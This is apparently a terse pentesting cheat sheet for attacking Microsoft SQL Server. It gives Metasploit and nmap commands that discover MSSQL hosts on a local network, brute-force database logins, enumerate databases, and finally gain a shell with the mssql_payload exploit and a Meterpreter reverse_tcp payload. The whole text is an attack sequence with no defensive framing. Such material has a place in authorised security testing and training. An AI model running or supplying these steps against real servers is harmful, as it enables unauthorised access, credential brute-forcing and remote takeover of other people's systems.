[>] Enumerate MSSQL Servers on the network:

msf > use auxiliary/scanner/mssql/mssql_ping
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
Discover more servers using "Browse for More" via Microsoft SQL Server Management Studio.

[>] Bruteforce MSSQL Database:

msf auxiliary(mssql_login) > use auxiliary/scanner/mssql/mssql_login

[>] Enumerate MSSQL Database:

msf > use auxiliary/admin/mssql/mssql_enum

[>] Gain shell using gathered credentials

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp